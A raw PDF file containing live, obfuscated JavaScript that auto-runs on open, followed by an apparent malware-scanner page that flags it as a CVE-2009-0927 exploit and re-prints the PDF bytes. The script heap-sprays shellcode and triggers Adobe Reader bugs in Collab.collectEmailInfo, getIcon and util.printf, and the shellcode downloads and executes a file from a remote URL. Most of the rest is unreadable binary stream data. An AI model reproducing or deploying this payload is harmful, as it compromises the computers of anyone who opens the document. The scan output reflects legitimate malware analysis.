/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2772>>
stream
x�͛Ys� ���)�j_��h(Qg�29�f����Lj+�� ��H� h �, ����
]�)�b���=�%�/��� F�ق6 �w���� �� _��+����>�mB�Q ї5��������k4 ǣx��D4���+�NF3|n1 E Jk��iL �����1-���� �Q��F �MN��x� M����� }����%�қ? �Q����З�p��{ H�k�9���h����Y�&�W'��D�w�h���� 7���
߀�ݜ^��o��} N��3r�� ��Ĵ�/G� �4��l���+�L7?���kO_y����?[��O����� M#[P�
J��T$*�J2���j� �g�t�h�+I��Z�JC]%�nD +ai1� �ڸ�2����6��U
]e��5 � ѧ�-��8 ~Kݦ��*�閉FP*Z9
z��h�d̿�*� �ERIJDU����*��`�VR��h����H�-�+�V� RVְ��h:�, �+8k�� OF�'c}���BTSvT6j
���%[h� �a � �'�ѣ�
ѲE�� �e� �V���Z"�����T-��S�je� }) �� �62#�r #� � ҄��x� r߉��J�^� �]S�VC�.u��ᕳ�)c�06ШUxok\ V�h� ���T ��=:�VʎZ��� fSM��p] �oI'rK���2#���0 ��u�+��eGa��VZ G � I��d �� �ȶ ��� /���Xb ��D&X��
�� ժ���tF"Ѽ � )#� Y�@ ��(�ePw̗{ X$ ��
�p���E!�U�A*�!X��UgEP� >m~ �@T`��$�{HS�F�Hh
'��7HL �a횬#��fKI ��� Hj�l`� �k�ѵ�iA�A�Ht��Ȫ- ƒh��� ���^�%�> �(D���$��@� �
2*a� �ZfT�1�� ��u0��2v�a�:���Ҋ�W��ih��pR��-rgP��>y�N�K� � ��\�
D�3ĉ� R�� C�� &�`i5� � jϐ Fx��(8�+��eP�L= .� y�� �"E�غ���F $ �� � �� L�� g�NR� �q���� � ¹� b�D�P�l�()U& GP�� � qgd� ��'�M�=T�Tn�yp� ����-�+ ��
�3��� � \˧���mYAA#P1�}q~5�Ft ���E�:G�C� ���� �9��ЂU �.C��hgC�8[yL\� <?� �*2- �R� �X_�T�#�� � Hk�6�jKO�ct��q WY�]͌���qO5��� ��3a�ʻ�L8ǯ�Q"@n �l 岑��Ȃ�4� 8%f- ���4
=�� � ���-
d���@ �g �I A `� ���s ��!��y ��`� �� �t{O V;��:�FT�� � Wn��ϭ�ow�π ��Գ�� uđD�� Q��� ��X���%�6�RI�5�5�q���=`H�b ���� ���v� �] ������E�qj�gB:�Pk �" 6| � u]��Qp�=�o _e�3���;N� 't v��5f (�ϒ)�r ��c�����&h�; �WMC =S� Jt�i �p���gb͍��0%��G�� �8 Z�NW{M� �>�s` �Pð�ۖm��(�ӈ�u�g� �Q �2��P��ahoCf���� Vݒh �u�F�&��R��$5 �;@
j�Bj��dٵ|C�HH`�"ֈ�H]W��^ �c+�vsO��_�k 뽀B�30�p%9 ��k �V ��;� � �Σ� T�]b�2f ���25���r�x R~Z R��'K? %��Z(N� � n �**�i��X ͗SϢ
�]� �$� d $ �ux���7��*��}`��� Q��/�j�'�o���M
J��� 롉'��q������{�ZH�ƞh==�ko�� f^���y"#&�n�g�5 ��` z����+�� x� W� ?l�
Pn �^� 3�Ǡ�y�uw��]� �=[[�&��Q��Ĺ�*R��Q�� /��� ���'-e��$� n<�|@нڷ� �G��ֵ��"�C!� � �<8ޞ���"Ov�^���� ��ԃ� �v NQ�.�uk���2�3�%�� C�!k�0���g!���ȱ�G�)T}2Q��V��d�ғ�)�f ���33 ��Z]U} ��)�z���� �Y O�W s *��܌r#mw:} ���*��cQ�� )P7 "r�0�j� ћ@�jo�F�T^�o�r�e�)�un�J ]j�6�����ʣ� mBF�d�)1���Y�70 ��lS��a���y�� F�Ag�����[�R J� �:� ϟ� o�JĐ��=%�8�2��p��\F����@ ��̳�ս� 4$� ��� 0 ������^�[g" �w��n�A�� ���1& ���$�H+ v`2�=, 4P� � 8j����!U�xN\�+�J�s� �J�]�
jw� ��س(�1�I��pLe@�vp�1���O�V��*IPɖ�_� H�)�kX;y pA���3 �TŐS���KM� oX��* ����p孠�c� z��Y\ و�N�P��Gɗq �3'0� \�Tn� ���Jg�4�D�n� u5`3��D �[�Da ��!u�y x2"�$Ӄ��� � �J HD��z�|>&�gZЯ<� �>� �W�7ϴ�!������\�x�u���d�#h��.Eo�g�E e\� ��' ��7��y_�:�K}� <=x T; ���[sP�� ��ph��oy y��ӣ�4~7� %iǯ���^}dp ��B�h5<@M R�� �飉du���@���,����+ �\x��;������Pǻ����?�p�U�s��qsL�q� QÈ~��7 ��=t��4;\����xt ;��'�w��� 5�F�9:��g�[����{Z]���� ���
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1949>>
stream
x����r�� ��� ]��"X� �����V9��J� �/ � 0�` � !��� � D�����ݢ� b�� ݳ�d�5�4�Ox]�Ͽ����[������� 3Zg� ]���ˋ�cӣc4�γ� �Lh��V[Z̲%�[O�Ɍ��>|7��Y����9m��'gWpM �:9��*��LW�l��� �t)��?�R��/N~����/t� ���G+�5�\b��I����S[S��K� �G��d�%� � ^W � �����7�����G�9�}b ?�- ���i��d�-��\Γ ��k�L ?�b���>?�n���r���#�Qs+)�R�ِ����S�Z��>P_[�Qɮ� ��sOW���P��TZ�����k�릸�N�� }�=u%�����*(g��O�෴o�Ͷ�;��o(�Z{ }M�v�I�j�
kn��KC� 0��0H����{�,��['��N V ��� � =,�B$�]�� ��T�h*j��fT����>~�[RN��W$ � � ������XS���Z �\m� � Zˢ!��: ;�2��}6��lq ��ʤd�RT � ��N R%5r� uNᐯ��
�#�Re� � `=,+��-��m��U a Ւ]���++ � }��S�$FN�������.�O�Q�9]<���J �� y�F�
�. � ��5(��1��C��}F��&� ��%J�jAרg�%$�
."G�$�#��$ �W����J����MV ��5� �J�ol���:�܀�.G�[�'/��� v �*� $:*�K�� jT�
���|� Hf)π �@yT����Fu �-h�
��ƭ��B� ��d�dǠ@ i|�d�� e��e
��� * J�c !ɍE��:)YuC�>EQꐂ/Q ѠV>qE��|0 ��D��g��-M�l U $ rSۀ s�>džb���Rô �:%V��P���I ����Hp��^�i�2 e�| �ؓ�� j�Z��,��z�� ^�D �I�ܩ �$GjAy~ ���`�X 疝x��� 4�<�遟e4� W��r(���OǕO�� ĸ�y ͅ�P�ٟ�阦� �<B6�ǥ էˁgۃ7 �@ɢc
��J��G�l� �_�u�8 Ӻ�� �^b ���ϱ j�ra!Hml uZ �;B1%H� ����� ���� ����ǐ~� \��0�4t7�j�q�GlSq�j�l � �� ( _�K� b�) �˔t ���!�T����c�7 ���K T|� g8��� �Ti䫀��{��s��i�d DZ��K��� [i{ ��� 4�*��a�C%>�Ө�
9� �3'RBF�*�����7 iD˖� "���ͬ#)*�[� Zp��97I�c��<Y|3�}�G�J��BSv� ��c�T &C!Y�s�z��WF�1Er�^<n��$�y��4��M�mҢvos�� A�[ \E�҂*i�lk�� gb O{� 屓&P� } ��ܜ@רN_�# V� �aR���8��"�C;�#�<��� �X Dm�� �NcZ� ��Z �.�_ j � ��;F�s�:9,� ���� �^��w��B�G< �0��~c�r>��ޞ �( �S�}�@� t#�K�ќ��<��1͛
�z �QSf:@�,
1�#�� �f�zߥ4aHe�F����1�� �8l߾mJ �ߋ� �/ �.`3���;��J�V�� p�Q��4PG]�z��Wg�*� / Z�� ���hz�xǧƾ� 2����۞/�^c�� ���Ըp�z! ��B ũ����?Ol| ���P ոGB}vw��|yc�R�Ѧa �.�O Ӵ� ҧ!z(䧔�m� \`< ][�H����L s}�О�x �ƴn1�� ,��ɻ��� ��d4� �n�R�. n�V�1͛ @��w����ӽ2ѝ���0e�a�ʭ��$ Gݧ_� �tiߺ���R�15� �L e�H?' (I�ؿu��n�:`�L��i�KF�����Wg9H6 =�+ d��I{�{��������Ō��M�=�3�m��rx���mz����V�l�����A�.e��> m�}� � ����
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2128>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?m Q_ ~j QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE ���R��4 ��{ /=MGNc�M��RWaE Pf QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QI�n۞i���I����) (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��F �Hz�T�@$�[R���{3XO�4�I#$b� M% ���b"ҕ��v?
m.i*���4�(6�B�(�1
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��#��ri�GAM#k{Q��*���kȒ�(�9��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)*� +�� �4��Z(��M;2e f QE"B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��- p�-��i�俚 �- R����R�;�QE &aE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function qMcIgSkV9\(awxOiFtTb,j5qpCxQc\){}this.e0CV7y87=0.89;function hKFYMZBV\(d94ooEkVbN,moKPvsw7,oPNmNCV6\){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array\(\);var qlvCgEp1;function qOYk2XZ8N\(aOfBqSekQk, visNssO2\){while\(aOfBqSekQk.length * 2 < visNssO2\){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring\(0, visNssO2 / 2\);return aOfBqSekQk;}function tHiZ9lrUYu\(zu2WQUQL\){if\(zu2WQUQL == 0\){var zVtKKX01h = 0x0c0c0c0c;}else if\(zu2WQUQL == 1\){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array\(\\"%u5350%u5\\",\\"251%u575\\",\\"6%u9c5\\",\\"5%u00e\\",\\"8%u0000\\",\\"%u5d00\\",\\"%ued83\\",\\"%u310d\\",\\"%u64c0%u\\",\\"4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u7\\",\\"08b%ua\\",\\"d1c%u\\",\\"408b%\\",\\"ueb08\\",\\"%u8b09\\",\\"%u3440\\",\\"%u408d\\",\\"%u8b7c%u\\",\\"3c40%u575\\",\\"6%u5ebe%\\",\\"u0001%u\\",\\"0100%ubf\\",\\"ee%u014e%\\",\\"u0000%uef0\\",\\"1%ud6e8%\\",\\"u0001%u\\",\\"5f00%u895e\\",\\"%u81ea%u\\",\\"5ec2%\\",\\"u0001%u\\",\\"5200%u80\\",\\"68%u000\\",\\"0%uff00%u4\\",\\"e95%u\\",\\"0001%u8\\",\\"900%u81ea\\",\\"%u5ec2%u\\",\\"0001%u31\\",\\"00%u01f6\\",\\"%u8ac2%u\\",\\"359c%\\",\\"u0263%\\",\\"u0000%ufb8\\",\\"0%u7400%u8\\",\\"806%u321c%\\",\\"ueb46%u\\",\\"c6ee%u32\\",\\"04%u8900%u\\",\\"81ea%u45c2\\",\\"%u0002%u5\\",\\"200%u9\\",\\"5ff%u0152\\",\\"%u0000%ue\\",\\"a89%u\\",\\"c281%u\\",\\"0250%u0\\",\\"000%u\\",\\"5052%\\",\\"u95ff\\",\\"%u015\\",\\"6%u0000%u\\",\\"006a%\\",\\"u006a%\\",\\"uea89%uc2\\",\\"81%u015\\",\\"e%u0000\\",\\"%u8952%\\",\\"u81ea%u78\\",\\"c2%u0002%\\",\\"u5200%\\",\\"u006a%ud\\",\\"0ff%u056a\\",\\"%uea89%uc\\",\\"281%u\\",\\"015e%u00\\",\\"00%uff\\",\\"52%u5a95\\",\\"%u0001\\",\\"%u8900%u8\\",\\"1ea%u5ec2%\\",\\"u0001%u\\",\\"5200%\\",\\"u8068%u0\\",\\"000%uff\\",\\"00%u4e95%u\\",\\"0001%u8900\\",\\"%u81ea%u\\",\\"5ec2%u\\",\\"0001%u31\\",\\"00%u01\\",\\"f6%u8a\\",\\"c2%u3\\",\\"59c%u02\\",\\"6e%u0\\",\\"000%ufb80%\\",\\"u7400%u\\",\\"8806%u321c\\",\\"%ueb4\\",\\"6%uc6\\",\\"ee%u3204%u\\",\\"8900%u81ea\\",\\"%u45c2\\",\\"%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea89%u\\",\\"c281%\\",\\"u0250%u\\",\\"0000%u505\\",\\"2%u95ff\\",\\"%u0156%u00\\",\\"00%u006a%u\\",\\"006a%uea89\\",\\"%uc281%\\",\\"u015e%u000\\",\\"0%u895\\",\\"2%u81ea%u\\",\\"a6c2%u00\\",\\"02%u5\\",\\"200%u006\\",\\"a%ud0f\\",\\"f%u056a\\",\\"%uea89%uc2\\",\\"81%u015\\",\\"e%u000\\",\\"0%uff52%\\",\\"u5a95%\\",\\"u0001\\",\\"%u9d00%u5\\",\\"f5d%u5a5\\",\\"e%u5b59%u\\",\\"c358%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"0000%u0\\",\\"000%u6547\\",\\"%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u\\",\\"4168%\\",\\"u4c00\\",\\"%u616f\\",\\"%u4c64%u62\\",\\"69%u6172\\",\\"%u7972%u0\\",\\"041%u6547\\",\\"%u5074%u6f\\",\\"72%u4\\",\\"163%u6\\",\\"464%u65\\",\\"72%u7\\",\\"373%u\\",\\"5700%u\\",\\"6e69%\\",\\"u7845%u6\\",\\"365%u\\",\\"bb00%uf\\",\\"289%uf7\\",\\"89%uc03\\",\\"0%u75ae%\\",\\"u29fd%u8\\",\\"9f7%u31\\",\\"f9%ubec\\",\\"0%u003c\\",\\"%u0000%u\\",\\"b503%u021b\\",\\"%u0000%ua\\",\\"d66%u\\",\\"8503%u021\\",\\"b%u0000%u\\",\\"708b%u\\",\\"8378%u\\",\\"1cc6%u\\",\\"b503%u021\\",\\"b%u0000%ub\\",\\"d8d%u02\\",\\"1f%u000\\",\\"0%u03ad%u\\",\\"1b85%u0002\\",\\"%uab0\\",\\"0%u03ad\\",\\"%u1b85%u\\",\\"0002%u500\\",\\"0%uad\\",\\"ab%u850\\",\\"3%u02\\",\\"1b%u0000%\\",\\"u5eab%udb3\\",\\"1%u56ad%\\",\\"u8503%\\",\\"u021b%u00\\",\\"00%uc689%u\\",\\"d789%u\\",\\"fc51%ua6f\\",\\"3%u7459%u5\\",\\"e04%u\\",\\"eb43%u5e\\",\\"e9%ud1\\",\\"93%u03e0%u\\",\\"2785%u000\\",\\"2%u3100%u9\\",\\"6f6%u\\",\\"ad66%ue0c1\\",\\"%u0302%u1\\",\\"f85%u0\\",\\"002%u8900\\",\\"%uadc6%u8\\",\\"503%u02\\",\\"1b%u0\\",\\"000%u\\",\\"ebc3%u001\\",\\"0%u0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%\\",\\"u0000%u\\",\\"0000%u00\\",\\"00%u8900\\",\\"%u1b85%u00\\",\\"02%u5\\",\\"600%ue85\\",\\"7%uff5\\",\\"8%uff\\",\\"ff%u5e5f%\\",\\"u01ab%u80c\\",\\"e%ubb3\\",\\"e%u027\\",\\"4%uede\\",\\"b%u55c3%\\",\\"u4c52\\",\\"%u4f4d%u2e\\",\\"4e%u4c44%u\\",\\"004c%\\",\\"u5255%u44\\",\\"4c%u776\\",\\"f%u6c6e%u\\",\\"616f%u\\",\\"5464%\\",\\"u466f%u6\\",\\"c69%u4165%\\",\\"u7500%u6\\",\\"470%u7461%\\",\\"u2e65%u\\",\\"7865%u\\",\\"0065%u\\",\\"7263%\\",\\"u7361%u2e\\",\\"68%u68\\",\\"70%u007\\",\\"0%u7468\\",\\"%u7074%u2\\",\\"f3a%u732\\",\\"f%u6f65\\",\\"%u742d%u6\\",\\"172%u6\\",\\"666%u632e%\\",\\"u6d6f%u\\",\\"632f%u\\",\\"756f%u7\\",\\"46e%u726\\",\\"5%u2f73\\",\\"%u2f3\\",\\"1%u7075%u\\",\\"6164%u6\\",\\"574%u702e%\\",\\"u7068%u69\\",\\"3f%u3d64%\\",\\"u2633%u657\\",\\"2%u3d74%u6\\",\\"b6f%u9000\\"\);hxWSuDXe = unescape\(hxWSuDXe.join\(\\"\\"\)\);var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - \(x3CgE4VTY7 + 0x38\);var aOfBqSekQk = unescape\(\\"%u9090%u9090\\"\);aOfBqSekQk = qOYk2XZ8N\(aOfBqSekQk, visNssO2\);var eEjtQKFInc = \(zVtKKX01h - 0x400000\) / aMkKKV3ax;for\(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++\){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB\(\){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString\(\);app.clearTimeOut\(qlvCgEp1\);if\(\(eYoEHriR >= 8 && eYoEHriR < 8.102\) || eYoEHriR < 7.1\){tHiZ9lrUYu\(0\);var xMxbDF9NZb = unescape\(\\"%u0c0c%u0c0c\\"\);while\(xMxbDF9NZb.length < 44952\) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\\"collabStore\\"] = ezqeKH4tH[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : xMxbDF9NZb}\);}if\(\(eYoEHriR >= 8.102 && eYoEHriR < 8.104\) || \(eYoEHriR >= 9 && eYoEHriR < 9.1\) || eYoEHriR <= 7.101\){try{if\(app.doc.Collab.getIcon\){tHiZ9lrUYu\(2\);var gHGLGbxHI = unescape\(\\"%09\\"\);while\(gHGLGbxHI.length < 0x4000\){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \\"N.\\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(gHGLGbxHI\);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch\(e\){nGA9T4uG = 1;}if\(nGA9T4uG == 1\){if\(eYoEHriR == 8.102 || eYoEHriR == 7.1\){tHiZ9lrUYu\(1\);var vT4Q80JUpI = \\"12999999999999999999\\";for\(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++\){vT4Q80JUpI += \\"8\\";}var xiNiJYKg1 = util;xiNiJYKg1[\\"printf\\"]\(\\"%45000f\\", vT4Q80JUpI\);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut\(\\"app.cbVTCzH8X\(\)\\", 10\);';function e8lvCgEp1\(wjcCRLwWYJ\){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0\(iMJ0PnL4I,vNYmW0FQo\){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace\(/[]/g, ''\);jBjL5zilQx=8098;var twFKKpkv=new Array\('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh'\);function nY22MpNwk\(eWWySbVF8,kBO9In13r,kVaoxPyTAZ\){return kVaoxPyTAZ;}var m5BhBlFWe = 'eval';app[m5BhBlFWe]\(kSt9A6Z6yr\);this.fcoHokTh8=27173;function faEMzs3Hx\(\){}function e9xb5G4yjd\(yJfo5LudGj,rBEckMHjQ\){return yJfo5LudGj;})
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��670c26185a3783678135b4697f7dbd1a)
/CreationDate (D:20091017160617+04'00')
/ModDate (D:20091017160617+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f
0000010826 00000 n
0000013751 00000 n
0000000009 00000 n
0000000117 00000 n
0000002927 00000 n
0000003035 00000 n
0000005745 00000 n
0000005853 00000 n
0000008696 00000 n
0000008805 00000 n
0000010902 00000 n
0000011018 00000 n
0000011132 00000 n
0000011239 00000 n
0000011344 00000 n
0000011456 00000 n
0000013946 00000 n
0000013998 00000 n
0000026720 00000 n
0000027142 00000 n
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
27544
%%EOF
|
|||
generic_stage_recovery_005.js |
deobfuscated-js | generic stage recovery null-collapse -> percent-decode from raw PDF metadata at offset 0x0 | 21683 bytes |
SHA-256: 01fe6131baeed6be4861b98a2ca0bf1da7bd09b3167511e1873d1b53774e33a5 |
|||
|
Detection
ClamAV:
Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2739>>
stream
x�͛M�۸ ���+�j/�!4E�3�8�l�U�d�Nm%[{I�� $89 ��� 53Ќ$J /��%��/� ���n�a0[ІB���-�� ���� ����gz��� A ������n����k4��A��WB�̓���Q0�� � �(��݇ }��ݷcZ�o��#��
_<��3��"������>g�� .��/��Wj�����G���5_��K�9��'a��vה�.�mx� 3{� ��67� �7� �����/����_ g���q�� "� Ŵ�/�Ɋ*��b���K�D7?�1�pj _y�� g � �3�}N%�3���MM�N��t�0%��g�2-�5U�ՊjMZ�6x=���ئ�` ����;�Y�1�<'�dFwڐfykH2���]� �_��=^�kC�Z�tW5ԖJװ� ���>t UB�%坦� N1� �_��Z4�14�xޖ^͛ �G��ﰆ7�r^��R^��P]�T�{ ��R� ��\�XWt���b5mJ���y��`�8 YA��lp��s���^ËR�
>V6jt�1�5���� �D#� ��F �{�0?� j��� �[3]1j�R9�* z^
����� � � ڐi B.eZ���KVqj Da ��,���L҆��!�_J� ���Ji� � �Hv�X %��䬡�����n2}^>���'v�1 ���&� ���-�pIR0��\a"Z���HL�Wχ�����
�0��k��{���̧v����(餴!"��Y� �Ɉ ��ۡO%[�Ђ�P��AT�Z�ʮ�{L_W� ��$�z�(��
�h�|�x^.,cB�0�aM� r$괄r&�3��v q�eVw �6v�L��� �R��5� $��cn��6�*�2�)�6H�� ��+�� �Ӳ���]�^Ug�p��I�6*��:!9 \z�5� "`����V[�� y � X���-U]��� �b$ ��� ��2X�+~
s��ᾧVRf =EXR����-�� �z�_ ��o8��G!3�����'L���ej� Ljƪ �% �F,{��<O *��i�ܱ�$��:�Wy�Ϝ��2 � � < >@�5��
�_.-^�[*z�@:뽎n��D&�i��-�:#�JI=�Se] A�p$S��� K z��O�b'� )�I;
e+dH ^w4E` � ��;) ���:S���g��%�]"2 L̙�넮 � i�����S9�42f���8u>�v��ͼ}Bm �R �،����-�| : �2x�eHhn9����� 6 � a= P��4�N� ٞ~� )�*n� ��j \!�)ʖ2n�XN�d�^[�?�x� ������D�Bp�T�4 5 +�H�} c�t�z����R���m�(�>� �Uj ꩝ �k���"� h�l-xI���Q6��w �%�J֙W��O�� ��v
cc���!Ϝ�_��K��� �s+����Ӻ���@�� ��k%o Q)�Nd �V�` l{C{���D͐���w�ս��z��>M� �;V�^L� �= ǫ}�)#X�6���&�5 �E � n h�K,�V!E�>T�f 2 �j��!�e��[ˆ �@�����Sa�[5be+�8 �o/7��zl :ʠnVr ��k� �n;m�,Tp�p�x�� �r�x�]�&�uÃ���� �� = 'a6'i�%ʹz�d� �+2(v��8�m#�b<]:� � ��������\�-%=��5d e��|Z7w��
��ȹ��� {��,:Q���� �s� h ���x:CV� �ӵ��b|'��[�#i���G��#��n��{���i�I��� �*Iz�� �'�pZ*Q @� t�U��*u���i\����=�7� kK�b��E{]" |�K`�xY˾$��K��/�_���G��s��� �)A�å >m� ����AQ��8'�X:,C�`7���K%��8ji۰��l��8b9d#��5��
���)���I� <�� �J`� o�_H5`���L��#
��a~�<T 1�0 ýO� N�w
��u�a���yì)�0�{ ݆� ��n8�|�6w���f�؆s� t�
�
�[ H����A � v_qd �� d� �u �7w �i��I�7�t��{ �� �w��`�m�%��ky4�h��c.�)�j� �{;�#m �^�; ���U��ߪ G���E�
�� �T�a!���� G ���Y��B���Xs�� e
�� � �l��]ښ��M�x��� ?��c���P-��<��Sf� �� ('p�Ӿ���ܧ]!n;�6s�l} �t ��m��(�Ѻh��q|� ��=��vX�ժ> �^ ��R����������&ߓ�y ��!�̩� \�ik֧usG�� W#��K����A4^gg�qy�|Y� ^8C"��9 =��t��� _�!I��~�놤O㦎AC�s��4%
�5� y����
�� ~L3�Eуh ���m�(v ��z�����B�� ��)��<� �� 3�:��������n�NV��xw ]F�g�Ug����b��-��_v�����dk�� �xo/�� �4}�ļ�����G�}ڶp�> `�p A�d��m �C��p� �QrQ?P�0�d��(� ̜f� }�6wz�W ֘��u0#d�M >u� ��?��+�Ӷ�^?�č7������%۰>m��oA ��0��|}��T��|y�ԧm�cܵ�o��LO�~ ��V��� ���� ��E�q�� ����*� ǫ��
��q�L�+��תנ:v ��S�X��H�!1G�tT �h7v�kWE] ��[f|� � m: c�5\;A4�֭ � l���ҡ�X����e���k�/}�t�4�� ��qc0t,����w��� ��7 �� i���
*'�{V] [���� $
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2639>>
stream
x��[�r� }�Wtվ$ ш�=o�\�f�6��8��l� H�$$�� R } (۠d�����z��X��nt�9} �p0�ц�� �K��W�H��=������� !� �!ݧ������s��s ��h�� i2 L 4 �o �!� }� �� �� ������^ h�� uF��`: �c��xrB� ��K���� �Z��W���� ����� � ��,�_S�2������t.9 �'��� �WO�^ �O�?������'��io"�7 �l: *h2 �Ex�]� ��C����.�S�'���)2? ��
e,��"&W�����9- �#�(�% � �d5��IS2J&��
�4e1')�Ȑ� ����~M�Nj�b���߂�;b[�
�lcTIF��GNL�1�R)ʌ�[�v�3�� ��I�Q� �qM �+Z��6Ģ�&�J����Ǖ�hchän쏌�0ȫ{� x
K����J�^Wt �O+z���2lK�� �&kLM+����\sʶ �l
pY�Tᔪ�� � kSI��53xl� � V�čF e K� ���k#
�<6� "X5Ƨ ��%� �6 7�� e��w �J�
U��q�%�u�Xwk )��Z� �(Y��~����h��� � rI
CYn�xe �s�T�ӽ`�R
�(�FְD��d [P i�l��N �'C�.��K�-C
�
�� ��� p��05�x��K� a ò��*�r
k
V� )V� ��!\ AJ�2��~��jG N� 6+ i�k ߲��L#� ����$Kv���TeW� ��b ���t1{)�8g)��
